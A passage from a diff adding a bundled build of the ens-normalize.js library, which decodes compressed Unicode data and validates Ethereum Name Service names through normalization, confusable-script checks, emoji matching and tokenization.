{ + let ret = []; + while (true) { + let x = next(); + let n = next(); + if (!n) break; + prev += x; + for (let i = 0; i < n; i++) { + ret.push(prev + i); + } + prev += n + 1; + } + return ret; +} + +function read_sorted_arrays(next) { + return read_array_while(() => { + let v = read_sorted(next); + if (v.length) return v; + }); +} + +// returns map of x => ys +function read_mapped(next) { + let ret = []; + while (true) { + let w = next(); + if (w == 0) break; + ret.push(read_linear_table(w, next)); + } + while (true) { + let w = next() - 1; + if (w < 0) break; + ret.push(read_replacement_table(w, next)); + } + return ret.flat(); +} + +// read until next is falsy +// return array of read values +function read_array_while(next) { + let v = []; + while (true) { + let x = next(v.length); + if (!x) break; + v.push(x); + } + return v; +} + +// read w columns of length n +// return as n rows of length w +function read_transposed(n, w, next) { + let m = Array(n).fill().map(() => []); + for (let i = 0; i < w; i++) { + read_deltas(n, next).forEach((x, j) => m[j].push(x)); + } + return m; +} + +// returns [[x, ys], [x+dx, ys+dy], [x+2*dx, ys+2*dy], ...] +// where dx/dy = steps, n = run size, w = length of y +function read_linear_table(w, next) { + let dx = 1 + next(); + let dy = next(); + let vN = read_array_while(next); + let m = read_transposed(vN.length, 1+w, next); + return m.flatMap((v, i) => { + let [x, ...ys] = v; + return Array(vN[i]).fill().map((_, j) => { + let j_dy = j * dy; + return [x + j * dx, ys.map(y => y + j_dy)]; + }); + }); +} + +// return [[x, ys...], ...] +// where w = length of y +function read_replacement_table(w, next) { + let n = 1 + next(); + let m = read_transposed(n, 1+w, next); + return m.map(v => [v[0], v.slice(1)]); +} + + +function read_trie(next) { + let ret = []; + let sorted = read_sorted(next); + expand(decode([]), []); + return ret; // not sorted + function decode(Q) { // characters that lead into this node + let S = next(); // state: valid, save, check + let B = read_array_while(() => { // buckets leading to new nodes + let cps = read_sorted(next).map(i => sorted[i]); + if (cps.length) return decode(cps); + }); + return {S, B, Q}; + } + function expand({S, B}, cps, saved) { + if (S & 4 && saved === cps[cps.length-1]) return; + if (S & 2) saved = cps[cps.length-1]; + if (S & 1) ret.push(cps); + for (let br of B) { + for (let cp of br.Q) { + expand(br, [...cps, cp], saved); + } + } + } +} + +function hex_cp(cp) { + return cp.toString(16).toUpperCase().padStart(2, '0'); +} + +function quote_cp(cp) { + return `{${hex_cp(cp)}}`; // raffy convention: like "\u{X}" w/o the "\u" +} + +/* +export function explode_cp(s) { + return [...s].map(c => c.codePointAt(0)); +} +*/ +function explode_cp(s) { // this is about 2x faster + let cps = []; + for (let pos = 0, len = s.length; pos < len; ) { + let cp = s.codePointAt(pos); + pos += cp < 0x10000 ? 1 : 2; + cps.push(cp); + } + return cps; +} + +function str_from_cps(cps) { + const chunk = 4096; + let len = cps.length; + if (len < chunk) return String.fromCodePoint(...cps); + let buf = []; + for (let i = 0; i < len; ) { + buf.push(String.fromCodePoint(...cps.slice(i, i += chunk))); + } + return buf.join(''); +} + +function compare_arrays(a, b) { + let n = a.length; + let c = n - b.length; + for (let i = 0; c == 0 && i < n; i++) c = a[i] - b[i]; + return c; +} + +// created 2023-09-25T01:01:55.148Z +// compressed base64-encoded blob for include-nf data +// source: https://github.com/adraffy/ens-normalize.js/blob/main/src/make.js +// see: https://github.com/adraffy/ens-normalize.js#security +// SHA-256: a974b6f8541fc29d919bc85118af0a44015851fab5343f8679cb31be2bdb209e +var COMPRESSED = 'AEUDTAHBCFQATQDRADAAcgAgADQAFAAsABQAHwAOACQADQARAAoAFwAHABIACAAPAAUACwAFAAwABAAQAAMABwAEAAoABQAIAAIACgABAAQAFAALAAIACwABAAIAAQAHAAMAAwAEAAsADAAMAAwACgANAA0AAwAKAAkABAAdAAYAZwDSAdsDJgC0CkMB8xhZAqfoC190UGcThgBurwf7PT09Pb09AjgJum8OjDllxHYUKXAPxzq6tABAxgK8ysUvWAgMPT09PT09PSs6LT2HcgWXWwFLoSMEEEl5RFVMKvO0XQ8ExDdJMnIgsj26PTQyy8FfEQ8AY8IPAGcEbwRwBHEEcgRzBHQEdQR2BHcEeAR6BHsEfAR+BIAEgfndBQoBYgULAWIFDAFiBNcE2ATZBRAFEQUvBdALFAsVDPcNBw13DYcOMA4xDjMB4BllHI0B2grbAMDpHLkQ7QHVAPRNQQFnGRUEg0yEB2uaJF8AJpIBpob5AERSMAKNoAXqaQLUBMCzEiACnwRZEkkVsS7tANAsBG0RuAQLEPABv9HICTUBXigPZwRBApMDOwAamhtaABqEAY8KvKx3LQ4ArAB8UhwEBAVSagD8AEFZADkBIadVj2UMUgx5Il4ANQC9AxIB1BlbEPMAs30CGxlXAhwZKQIEC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Y9gKiqKEHuWN+AZRIwtVSxye2Kf8rM3lhJ5XcBXU9n4v0Oy1RU2M+4qM8AQPVwse8ErNSob5oFPWxuqZnVzo1qB/IBxkM3EVUKFUUlO3e51259GgNcJbCmlvrdjtoTW7rChm1wyCKzpCTwozUUEOIcWLneRLgMXh+SjGSFkAllzbGS5HK7LlfCMRNRDSvbQPjcXaenNYxCvu2Qyznz6StuxVj66SgI0T8B6/sfHAJYZaZ78thjOSIFumNWLQbeZixDCCC+v0YBtkxiBB3jefHqZ/dFHU+crbj6OvS1x/JDD7vlm7zOVPwpUC01nhxZuY/63E7g'; + +// https://unicode.org/reports/tr15/ +// for reference implementation +// see: /derive/nf.js + + +// algorithmic hangul +// https://www.unicode.org/versions/Unicode15.0.0/ch03.pdf (page 144) +const S0 = 0xAC00; +const L0 = 0x1100; +const V0 = 0x1161; +const T0 = 0x11A7; +const L_COUNT = 19; +const V_COUNT = 21; +const T_COUNT = 28; +const N_COUNT = V_COUNT * T_COUNT; +const S_COUNT = L_COUNT * N_COUNT; +const S1 = S0 + S_COUNT; +const L1 = L0 + L_COUNT; +const V1 = V0 + V_COUNT; +const T1 = T0 + T_COUNT; + +function unpack_cc(packed) { + return (packed >> 24) & 0xFF; +} +function unpack_cp(packed) { + return packed & 0xFFFFFF; +} + +let SHIFTED_RANK, EXCLUSIONS, DECOMP, RECOMP; + +function init$1() { + //console.time('nf'); + let r = read_compressed_payload(COMPRESSED); + SHIFTED_RANK = new Map(read_sorted_arrays(r).flatMap((v, i) => v.map(x => [x, (i+1) << 24]))); // pre-shifted + EXCLUSIONS = new Set(read_sorted(r)); + DECOMP = new Map(); + RECOMP = new Map(); + for (let [cp, cps] of read_mapped(r)) { + if (!EXCLUSIONS.has(cp) && cps.length == 2) { + let [a, b] = cps; + let bucket = RECOMP.get(a); + if (!bucket) { + bucket = new Map(); + RECOMP.set(a, bucket); + } + bucket.set(b, cp); + } + DECOMP.set(cp, cps.reverse()); // stored reversed + } + //console.timeEnd('nf'); + // 20230905: 11ms +} + +function is_hangul(cp) { + return cp >= S0 && cp < S1; +} + +function compose_pair(a, b) { + if (a >= L0 && a < L1 && b >= V0 && b < V1) { + return S0 + (a - L0) * N_COUNT + (b - V0) * T_COUNT; + } else if (is_hangul(a) && b > T0 && b < T1 && (a - S0) % T_COUNT == 0) { + return a + (b - T0); + } else { + let recomp = RECOMP.get(a); + if (recomp) { + recomp = recomp.get(b); + if (recomp) { + return recomp; + } + } + return -1; + } +} + +function decomposed(cps) { + if (!SHIFTED_RANK) init$1(); + let ret = []; + let buf = []; + let check_order = false; + function add(cp) { + let cc = SHIFTED_RANK.get(cp); + if (cc) { + check_order = true; + cp |= cc; + } + ret.push(cp); + } + for (let cp of cps) { + while (true) { + if (cp < 0x80) { + ret.push(cp); + } else if (is_hangul(cp)) { + let s_index = cp - S0; + let l_index = s_index / N_COUNT | 0; + let v_index = (s_index % N_COUNT) / T_COUNT | 0; + let t_index = s_index % T_COUNT; + add(L0 + l_index); + add(V0 + v_index); + if (t_index > 0) add(T0 + t_index); + } else { + let mapped = DECOMP.get(cp); + if (mapped) { + buf.push(...mapped); + } else { + add(cp); + } + } + if (!buf.length) break; + cp = buf.pop(); + } + } + if (check_order && ret.length > 1) { + let prev_cc = unpack_cc(ret[0]); + for (let i = 1; i < ret.length; i++) { + let cc = unpack_cc(ret[i]); + if (cc == 0 || prev_cc <= cc) { + prev_cc = cc; + continue; + } + let j = i-1; + while (true) { + let tmp = ret[j+1]; + ret[j+1] = ret[j]; + ret[j] = tmp; + if (!j) break; + prev_cc = unpack_cc(ret[--j]); + if (prev_cc <= cc) break; + } + prev_cc = unpack_cc(ret[i]); + } + } + return ret; +} + +function composed_from_decomposed(v) { + let ret = []; + let stack = []; + let prev_cp = -1; + let prev_cc = 0; + for (let packed of v) { + let cc = unpack_cc(packed); + let cp = unpack_cp(packed); + if (prev_cp == -1) { + if (cc == 0) { + prev_cp = cp; + } else { + ret.push(cp); + } + } else if (prev_cc > 0 && prev_cc >= cc) { + if (cc == 0) { + ret.push(prev_cp, ...stack); + stack.length = 0; + prev_cp = cp; + } else { + stack.push(cp); + } + prev_cc = cc; + } else { + let composed = compose_pair(prev_cp, cp); + if (composed >= 0) { + prev_cp = composed; + } else if (prev_cc == 0 && cc == 0) { + ret.push(prev_cp); + prev_cp = cp; + } else { + stack.push(cp); + prev_cc = cc; + } + } + } + if (prev_cp >= 0) { + ret.push(prev_cp, ...stack); + } + return ret; +} + +// note: cps can be iterable +function nfd(cps) { + return decomposed(cps).map(unpack_cp); +} +function nfc(cps) { + return composed_from_decomposed(decomposed(cps)); +} + +const HYPHEN = 0x2D; +const STOP = 0x2E; +const STOP_CH = '.'; +const FE0F = 0xFE0F; +const UNIQUE_PH = 1; + +// 20230913: replace [...v] with Array_from(v) to avoid large spreads +const Array_from = x => Array.from(x); // Array.from.bind(Array); + +function group_has_cp(g, cp) { + // 20230913: keep primary and secondary distinct instead of creating valid union + return g.P.has(cp) || g.Q.has(cp); +} + +class Emoji extends Array { + get is_emoji() { return true; } // free tagging system +} + +let MAPPED, IGNORED, CM, NSM, ESCAPE, NFC_CHECK, GROUPS, WHOLE_VALID, WHOLE_MAP, VALID, EMOJI_LIST, EMOJI_ROOT; + +function init() { + if (MAPPED) return; + + let r = read_compressed_payload(COMPRESSED$1); + const read_sorted_array = () => read_sorted(r); + const read_sorted_set = () => new Set(read_sorted_array()); + const set_add_many = (set, v) => v.forEach(x => set.add(x)); + + MAPPED = new Map(read_mapped(r)); + IGNORED = read_sorted_set(); // ignored characters are not valid, so just read raw codepoints + + /* + // direct include from payload is smaller than the decompression code + const FENCED = new Map(read_array_while(() => { + let cp = r(); + if (cp) return [cp, read_str(r())]; + })); + */ + // 20230217: we still need all CM for proper error formatting + // but norm only needs NSM subset that are potentially-valid + CM = read_sorted_array(); + NSM = new Set(read_sorted_array().map(i => CM[i])); + CM = new Set(CM); + + ESCAPE = read_sorted_set(); // characters that should not be printed + NFC_CHECK = read_sorted_set(); // only needed to illustrate ens_tokenize() transformations + + let chunks = read_sorted_arrays(r); + let unrestricted = r(); + //const read_chunked = () => new Set(read_sorted_array().flatMap(i => chunks[i]).concat(read_sorted_array())); + const read_chunked = () => { + // 20230921: build set in parts, 2x faster + let set = new Set(); + read_sorted_array().forEach(i => set_add_many(set, chunks[i])); + set_add_many(set, read_sorted_array()); + return set; + }; + GROUPS = read_array_while(i => { + // minifier property mangling seems unsafe + // so these are manually renamed to single chars + let N = read_array_while(r).map(x => x+0x60); + if (N.length) { + let R = i >= unrestricted; // unrestricted then restricted + N[0] -= 32; // capitalize + N = str_from_cps(N); + if (R) N=`Restricted[${N}]`; + let P = read_chunked(); // primary + let Q = read_chunked(); // secondary + let M = !r(); // not-whitelisted, check for NSM + // *** this code currently isn't needed *** + /* + let V = [...P, ...Q].sort((a, b) => a-b); // derive: sorted valid + let M = r()-1; // number of combining mark + if (M < 0) { // whitelisted + M = new Map(read_array_while(() => { + let i = r(); + if (i) return [V[i-1], read_array_while(() => { + let v = read_array_while(r); + if (v.length) return v.map(x => x-1); + })]; + })); + }*/ + return {N, P, Q, M, R}; + } + }); + + // decode compressed wholes + WHOLE_VALID = read_sorted_set(); + WHOLE_MAP = new Map(); + let wholes = read_sorted_array().concat(Array_from(WHOLE_VALID)).sort((a, b) => a-b); // must be sorted + wholes.forEach((cp, i) => { + let d = r(); + let w = wholes[i] = d ? wholes[i-d] : {V: [], M: new Map()}; + w.V.push(cp); // add to member set + if (!WHOLE_VALID.has(cp)) { + WHOLE_MAP.set(cp, w); // register with whole map + } + }); + + // compute confusable-extent complements + // usage: WHOLE_MAP.get(cp).M.get(cp) = complement set + for (let {V, M} of new Set(WHOLE_MAP.values())) { + // connect all groups that have each whole character + let recs = []; + for (let cp of V) { + let gs = GROUPS.filter(g => group_has_cp(g, cp)); + let rec = recs.find(({G}) => gs.some(g => G.has(g))); + if (!rec) { + rec = {G: new Set(), V: []}; + recs.push(rec); + } + rec.V.push(cp); + set_add_many(rec.G, gs); + } + // per character cache groups which are not a member of the extent + let union = recs.flatMap(x => Array_from(x.G)); // all of the groups used by this whole + for (let {G, V} of recs) { + let complement = new Set(union.filter(g => !G.has(g))); // groups not covered by the extent + for (let cp of V) { + M.set(cp, complement); // this is the same reference + } + } + } + + // compute valid set + // 20230924: VALID was union but can be re-used + VALID = new Set(); // exists in 1+ groups + let multi = new Set(); // exists in 2+ groups + const add_to_union = cp => VALID.has(cp) ? multi.add(cp) : VALID.add(cp); + for (let g of GROUPS) { + for (let cp of g.P) add_to_union(cp); + for (let cp of g.Q) add_to_union(cp); + } + // dual purpose WHOLE_MAP: return placeholder if unique non-confusable + for (let cp of VALID) { + if (!WHOLE_MAP.has(cp) && !multi.has(cp)) { + WHOLE_MAP.set(cp, UNIQUE_PH); + } + } + // add all decomposed parts + // see derive: "Valid is Closed (via Brute-force)" + set_add_many(VALID, nfd(VALID)); + + // decode emoji + // 20230719: emoji are now fully-expanded to avoid quirk logic + EMOJI_LIST = read_trie(r).map(v => Emoji.from(v)).sort(compare_arrays); + EMOJI_ROOT = new Map(); // this has approx 7K nodes (2+ per emoji) + for (let cps of EMOJI_LIST) { + // 20230719: change to *slightly* stricter algorithm which disallows + // insertion of misplaced FE0F in emoji sequences (matching ENSIP-15) + // example: beautified [A B] (eg. flag emoji) + // before: allow: [A FE0F B], error: [A FE0F FE0F B] + // after: error: both + // note: this code now matches ENSNormalize.{cs,java} logic + let prev = [EMOJI_ROOT]; + for (let cp of cps) { + let next = prev.map(node => { + let child = node.get(cp); + if (!child) { + // should this be object? + // (most have 1-2 items, few have many) + // 20230719: no, v8 default map is 4? + child = new Map(); + node.set(cp, child); + } + return child; + }); + if (cp === FE0F) { + prev.push(...next); // less than 20 elements + } else { + prev = next; + } + } + for (let x of prev) { + x.V = cps; + } + } +} + +// if escaped: {HEX} +// else: "x" {HEX} +function quoted_cp(cp) { + return (should_escape(cp) ? '' : `${bidi_qq(safe_str_from_cps([cp]))} `) + quote_cp(cp); +} + +// 20230211: some messages can be mixed-directional and result in spillover +// use 200E after a quoted string to force the remainder of a string from +// acquring the direction of the quote +// https://www.w3.org/International/questions/qa-bidi-unicode-controls#exceptions +function bidi_qq(s) { + return `"${s}"\u200E`; // strong LTR +} + +function check_label_extension(cps) { + if (cps.length >= 4 && cps[2] == HYPHEN && cps[3] == HYPHEN) { + throw new Error(`invalid label extension: "${str_from_cps(cps.slice(0, 4))}"`); // this can only be ascii so cant be bidi + } +} +function check_leading_underscore(cps) { + const UNDERSCORE = 0x5F; + for (let i = cps.lastIndexOf(UNDERSCORE); i > 0; ) { + if (cps[--i] !== UNDERSCORE) { + throw new Error('underscore allowed only at start'); + } + } +} +// check that a fenced cp is not leading, trailing, or touching another fenced cp +function check_fenced(cps) { + let cp = cps[0]; + let prev = FENCED.get(cp); + if (prev) throw error_placement(`leading ${prev}`); + let n = cps.length; + let last = -1; // prevents trailing from throwing + for (let i = 1; i < n; i++) { + cp = cps[i]; + let match = FENCED.get(cp); + if (match) { + // since cps[0] isn't fenced, cps[1] cannot throw + if (last == i) throw error_placement(`${prev} + ${match}`); + last = i + 1; + prev = match; + } + } + if (last == n) throw error_placement(`trailing ${prev}`); +} + +// create a safe to print string +// invisibles are escaped +// leading cm uses placeholder +// if cps exceed max, middle truncate with ellipsis +// quoter(cp) => string, eg. 3000 => "{3000}" +// note: in html, you'd call this function then replace [<>&] with entities +function safe_str_from_cps(cps, max = Infinity, quoter = quote_cp) { + //if (Number.isInteger(cps)) cps = [cps]; + //if (!Array.isArray(cps)) throw new TypeError(`expected codepoints`); + let buf = []; + if (is_combining_mark(cps[0])) buf.push('◌'); + if (cps.length > max) { + max >>= 1; + cps = [...cps.slice(0, max), 0x2026, ...cps.slice(-max)]; + } + let prev = 0; + let n = cps.length; + for (let i = 0; i < n; i++) { + let cp = cps[i]; + if (should_escape(cp)) { + buf.push(str_from_cps(cps.slice(prev, i))); + buf.push(quoter(cp)); + prev = i + 1; + } + } + buf.push(str_from_cps(cps.slice(prev, n))); + return buf.join(''); +} + +// note: set(s) cannot be exposed because they can be modified +// note: Object.freeze() doesn't work +function is_combining_mark(cp) { + init(); + return CM.has(cp); +} +function should_escape(cp) { + init(); + return ESCAPE.has(cp); +} + +// return all supported emoji as fully-qualified emoji +// ordered by length then lexicographic +function ens_emoji() { + init(); + return EMOJI_LIST.map(x => x.slice()); // emoji are exposed so copy +} + +function ens_normalize_fragment(frag, decompose) { + init(); + let nf = decompose ? nfd : nfc; + return frag.split(STOP_CH).map(label => str_from_cps(tokens_from_str(explode_cp(label), nf, filter_fe0f).flat())).join(STOP_CH); +} + +function ens_normalize(name) { + return flatten(split(name, nfc, filter_fe0f)); +} + +function ens_beautify(name) { + let labels = split(name, nfc, x => x); // emoji not exposed + for (let {type, output, error} of labels) { + if (error) break; // flatten will throw + + // replace leading/trailing hyphen + // 20230121: consider beautifing all or leading/trailing hyphen to unicode variant + // not exactly the same in every font, but very similar: "-" vs "‐" + /* + const UNICODE_HYPHEN = 0x2010; + // maybe this should replace all for visual consistancy? + // `node tools/reg-count.js regex ^-\{2,\}` => 592 + //for (let i = 0; i < output.length; i++) if (output[i] == 0x2D) output[i] = 0x2010; + if (output[0] == HYPHEN) output[0] = UNICODE_HYPHEN; + let end = output.length-1; + if (output[end] == HYPHEN) output[end] = UNICODE_HYPHEN; + */ + // 20230123: WHATWG URL uses "CheckHyphens" false + // https://url.spec.whatwg.org/#idna + + // update ethereum symbol + // ξ => Ξ if not greek + if (type !== 'Greek') array_replace(output, 0x3BE, 0x39E); + + // 20221213: fixes bidi subdomain issue, but breaks invariant (200E is disallowed) + // could be fixed with special case for: 2D (.) + 200E (LTR) + // https://discuss.ens.domains/t/bidi-label-ordering-spoof/15824 + //output.splice(0, 0, 0x200E); + } + return flatten(labels); +} + +function array_replace(v, a, b) { + let prev = 0; + while (true) { + let next = v.indexOf(a, prev); + if (next < 0) break; + v[next] = b; + prev = next + 1; + } +} + +function ens_split(name, preserve_emoji) { + return split(name, nfc, preserve_emoji ? x => x.slice() : filter_fe0f); // emoji are exposed so copy +} + +function split(name, nf, ef) { + if (!name) return []; // 20230719: empty name allowance + init(); + let offset = 0; + // https://unicode.org/reports/tr46/#Validity_Criteria + // 4.) "The label must not contain a U+002E ( . ) FULL STOP." + return name.split(STOP_CH).map(label => { + let input = explode_cp(label); + let info = { + input, + offset, // codepoint, not substring! + }; + offset += input.length + 1; // + stop + try { + // 1.) "The label must be in Unicode Normalization Form NFC" + let tokens = info.tokens = tokens_from_str(input, nf, ef); + let token_count = tokens.length; + let type; + if (!token_count) { // the label was effectively empty (could of had ignored characters) + //norm = []; + //type = 'None'; // use this instead of next match, "ASCII" + // 20230120: change to strict + // https://discuss.ens.domains/t/ens-name-normalization-2nd/14564/59 + throw new Error(`empty label`); + } + let norm = info.output = tokens.flat(); + check_leading_underscore(norm); + let emoji = info.emoji = token_count > 1 || tokens[0].is_emoji; // same as: tokens.some(x => x.is_emoji); + if (!emoji && norm.every(cp => cp < 0x80)) { // special case for ascii + // 20230123: matches matches WHATWG, see note 3.3 + check_label_extension(norm); // only needed for ascii + // cant have fenced + // cant have cm + // cant have wholes + // see derive: "Fastpath ASCII" + type = 'ASCII'; + } else { + let chars = tokens.flatMap(x => x.is_emoji ? [] : x); // all of the nfc tokens concat together + if (!chars.length) { // theres no text, just emoji + type = 'Emoji'; + } else { + // 5.) "The label must not begin with a combining mark, that is: General_Category=Mark." + if (CM.has(norm[0])) throw error_placement('leading combining mark'); + for (let i = 1; i < token_count; i++) { // we've already checked the first token + let cps = tokens[i]; + if (!cps.is_emoji && CM.has(cps[0])) { // every text token has emoji neighbors, eg. EtEEEtEt... + // bidi_qq() not needed since emoji is LTR and cps is a CM + throw error_placement(`emoji + combining mark: "${str_from_cps(tokens[i-1])} + ${safe_str_from_cps([cps[0]])}"`); + } + } + check_fenced(norm); + let unique = Array_from(new Set(chars)); + let [g] = determine_group(unique); // take the first match + // see derive: "Matching Groups have Same CM Style" + // alternative: could form a hybrid type: Latin/Japanese/... + check_group(g, chars); // need text in order + check_whole(g, unique); // only need unique text (order would be required for multiple-char confusables) + type = g.N; + // 20230121: consider exposing restricted flag + // it's simpler to just check for 'Restricted' + // or even better: type.endsWith(']') + //if (g.R) info.restricted = true; + } + } + info.type = type; + } catch (err) { + info.error = err; // use full error object + } + return info; + }); +} + +function check_whole(group, unique) { + let maker; + let shared = []; + for (let cp of unique) { + let whole = WHOLE_MAP.get(cp); + if (whole === UNIQUE_PH) return; // unique, non-confusable + if (whole) { + let set = whole.M.get(cp); // groups which have a character that look-like this character + maker = maker ? maker.filter(g => set.has(g)) : Array_from(set); + if (!maker.length) return; // confusable intersection is empty + } else { + shared.push(cp); + } + } + if (maker) { + // we have 1+ confusable + // check if any of the remaining groups + // contain the shared characters too + for (let g of maker) { + if (shared.every(cp => group_has_cp(g, cp))) { + throw new Error(`whole-script confusable: ${group.N}/${g.N}`); + } + } + } +} + +// assumption: unique.size > 0 +// returns list of matching groups +function determine_group(unique) { + let groups = GROUPS; + for (let cp of unique) { + // note: we need to dodge CM that are whitelisted + // but that code isn't currently necessary + let gs = groups.filter(g => group_has_cp(g, cp)); + if (!gs.length) { + if (!GROUPS.some(g => group_has_cp(g, cp))) { + // the character was composed of valid parts + // but it's NFC form is invalid + // 20230716: change to more exact statement, see: ENSNormalize.{cs,java} + // note: this doesn't have to be a composition + // 20230720: change to full check + throw error_disallowed(cp); // this should be rare + } else { + // there is no group that contains all these characters + // throw using the highest priority group that matched + // https://www.unicode.org/reports/tr39/#mixed_script_confusables + throw error_group_member(groups[0], cp); + } + } + groups = gs; + if (gs.length == 1) break; // there is only one group left + } + // there are at least 1 group(s) with all of these characters + return groups; +} + +// throw on first error +function flatten(split) { + return split.map(({input, error, output}) => { + if (error) { + // don't print label again if just a single label + let msg = error.message; + // bidi_qq() only necessary if msg is digits + throw new Error(split.length == 1 ? msg : `Invalid label ${bidi_qq(safe_str_from_cps(input, 63))}: ${msg}`); + } + return str_from_cps(output); + }).join(STOP_CH); +} + +function error_disallowed(cp) { + // TODO: add cp to error? + return new Error(`disallowed character: ${quoted_cp(cp)}`); +} +function error_group_member(g, cp) { + let quoted = quoted_cp(cp); + let gg = GROUPS.find(g => g.P.has(cp)); // only check primary + if (gg) { + quoted = `${gg.N} ${quoted}`; + } + return new Error(`illegal mixture: ${g.N} + ${quoted}`); +} +function error_placement(where) { + return new Error(`illegal placement: ${where}`); +} + +// assumption: cps.length > 0 +// assumption: cps[0] isn't a CM +// assumption: the previous character isn't an emoji +function check_group(g, cps) { + for (let cp of cps) { + if (!group_has_cp(g, cp)) { + // for whitelisted scripts, this will throw illegal mixture on invalid cm, eg. "e{300}{300}" + // at the moment, it's unnecessary to introduce an extra error type + // until there exists a whitelisted multi-character + // eg. if (M < 0 && is_combining_mark(cp)) { ... } + // there are 3 cases: + // 1. illegal cm for wrong group => mixture error + // 2. illegal cm for same group => cm error + // requires set of whitelist cm per group: + // eg. new Set([...g.P, ...g.Q].flatMap(nfc).filter(cp => CM.has(cp))) + // 3. wrong group => mixture error + throw error_group_member(g, cp); + } + } + //if (M >= 0) { // we have a known fixed cm count + if (g.M) { // we need to check for NSM + let decomposed = nfd(cps); + for (let i = 1, e = decomposed.length; i < e; i++) { // see: assumption + // 20230210: bugfix: using cps instead of decomposed h/t Carbon225 + /* + if (CM.has(decomposed[i])) { + let j = i + 1; + while (j < e && CM.has(decomposed[j])) j++; + if (j - i > M) { + throw new Error(`too many combining marks: ${g.N} ${bidi_qq(str_from_cps(decomposed.slice(i-1, j)))} (${j-i}/${M})`); + } + i = j; + } + */ + // 20230217: switch to NSM counting + // https://www.unicode.org/reports/tr39/#Optional_Detection + if (NSM.has(decomposed[i])) { + let j = i + 1; + for (let cp; j < e && NSM.has(cp = decomposed[j]); j++) { + // a. Forbid sequences of the same nonspacing mark. + for (let k = i; k < j; k++) { // O(n^2) but n < 100 + if (decomposed[k] == cp) { + throw new Error(`duplicate non-spacing marks: ${quoted_cp(cp)}`); + } + } + } + // parse to end so we have full nsm count + // b. Forbid sequences of more than 4 nonspacing marks (gc=Mn or gc=Me). + if (j - i > NSM_MAX) { + // note: this slice starts with a base char or spacing-mark cm + throw new Error(`excessive non-spacing marks: ${bidi_qq(safe_str_from_cps(decomposed.slice(i-1, j)))} (${j-i}/${NSM_MAX})`); + } + i = j; + } + } + } + // *** this code currently isn't needed *** + /* + let cm_whitelist = M instanceof Map; + for (let i = 0, e = cps.length; i < e; ) { + let cp = cps[i++]; + let seqs = cm_whitelist && M.get(cp); + if (seqs) { + // list of codepoints that can follow + // if this exists, this will always be 1+ + let j = i; + while (j < e && CM.has(cps[j])) j++; + let cms = cps.slice(i, j); + let match = seqs.find(seq => !compare_arrays(seq, cms)); + if (!match) throw new Error(`disallowed combining mark sequence: "${safe_str_from_cps([cp, ...cms])}"`); + i = j; + } else if (!V.has(cp)) { + // https://www.unicode.org/reports/tr39/#mixed_script_confusables + let quoted = quoted_cp(cp); + for (let cp of cps) { + let u = UNIQUE.get(cp); + if (u && u !== g) { + // if both scripts are restricted this error is confusing + // because we don't differentiate RestrictedA from RestrictedB + if (!u.R) quoted = `${quoted} is ${u.N}`; + break; + } + } + throw new Error(`disallowed ${g.N} character: ${quoted}`); + //throw new Error(`disallowed character: ${quoted} (expected ${g.N})`); + //throw new Error(`${g.N} does not allow: ${quoted}`); + } + } + if (!cm_whitelist) { + let decomposed = nfd(cps); + for (let i = 1, e = decomposed.length; i < e; i++) { // we know it can't be cm leading + if (CM.has(decomposed[i])) { + let j = i + 1; + while (j < e && CM.has(decomposed[j])) j++; + if (j - i > M) { + throw new Error(`too many combining marks: "${str_from_cps(decomposed.slice(i-1, j))}" (${j-i}/${M})`); + } + i = j; + } + } + } + */ +} + +// given a list of codepoints +// returns a list of lists, where emoji are a fully-qualified (as Array subclass) +// eg. explode_cp("abc💩d") => [[61, 62, 63], Emoji[1F4A9, FE0F], [64]] +// 20230818: rename for 'process' name collision h/t Javarome +// https://github.com/adraffy/ens-normalize.js/issues/23 +function tokens_from_str(input, nf, ef) { + let ret = []; + let chars = []; + input = input.slice().reverse(); // flip so we can pop + while (input.length) { + let emoji = consume_emoji_reversed(input); + if (emoji) { + if (chars.length) { + ret.push(nf(chars)); + chars = []; + } + ret.push(ef(emoji)); + } else { + let cp = input.pop(); + if (VALID.has(cp)) { + chars.push(cp); + } else { + let cps = MAPPED.get(cp); + if (cps) { + chars.push(...cps); // less than 10 elements + } else if (!IGNORED.has(cp)) { + // 20230912: unicode 15.1 changed the order of processing such that + // disallowed parts are only rejected after NFC + // https://unicode.org/reports/tr46/#Validity_Criteria + // this doesn't impact normalization as of today + // technically, this error can be removed as the group logic will apply similar logic + // however the error type might be less clear + throw error_disallowed(cp); + } + } + } + } + if (chars.length) { + ret.push(nf(chars)); + } + return ret; +} + +function filter_fe0f(cps) { + return cps.filter(cp => cp != FE0F); +} + +// given array of codepoints +// returns the longest valid emoji sequence (or undefined if no match) +// *MUTATES* the supplied array +// disallows interleaved ignored characters +// fills (optional) eaten array with matched codepoints +function consume_emoji_reversed(cps, eaten) { + let node = EMOJI_ROOT; + let emoji; + let pos = cps.length; + while (pos) { + node = node.get(cps[--pos]); + if (!node) break; + let {V} = node; + if (V) { // this is a valid emoji (so far) + emoji = V; + if (eaten) eaten.push(...cps.slice(pos).reverse()); // (optional) copy input, used for ens_tokenize() + cps.length = pos; // truncate + } + } + return emoji; +} + +// ************************************************************ +// tokenizer + +const TY_VALID = 'valid'; +const TY_MAPPED = 'mapped'; +const TY_IGNORED = 'ignored'; +const TY_DISALLOWED = 'disallowed'; +const TY_EMOJI = 'emoji'; +const TY_NFC = 'nfc'; +const TY_STOP = 'stop'; + +function ens_tokenize(name, { + nf = true, // collapse unnormalized runs into a single token +} = {}) { + init(); + let input = explode_cp(name).reverse(); + let eaten = []; + let tokens = []; + while (input.length) { + let emoji = consume_emoji_reversed(input, eaten); + if (emoji) { + tokens.push({ + type: TY_EMOJI, + emoji: emoji.slice(), // copy emoji + input: eaten, + cps: filter_fe0f(emoji) + }); + eaten = []; // reset buffer + } else { + let cp = input.pop(); + if (cp == STOP) { + tokens.push({type: TY_STOP, cp}); + } else if (VALID.has(cp)) { + tokens.push({type: TY_VALID, cps: [cp]}); + } else if (IGNORED.has(cp)) { + tokens.push({type: TY_IGNORED, cp}); + } else { + let cps = MAPPED.get(cp); + if (cps) { + tokens.push({type: TY_MAPPED, cp, cps: cps.slice()}); + } else { + tokens.push({type: TY_DISALLOWED, cp}); + } + } + } + } + if (nf) { + for (let i = 0, start = -1; i < tokens.length; i++) { + let token = tokens[i]; + if (is_valid_or_mapped(token.type)) { + if (requires_check(token.cps)) { // normalization might be needed + let end = i + 1; + for (let pos = end; pos < tokens.length; pos++) { // find adjacent text + let {type, cps} = tokens[pos]; + if (is_valid_or_mapped(type)) { + if (!requires_check(cps)) break; + end = pos + 1; + } else if (type !== TY_IGNORED) { // || type !== TY_DISALLOWED) { + break; + } + } + if (start < 0) start = i; + let slice = 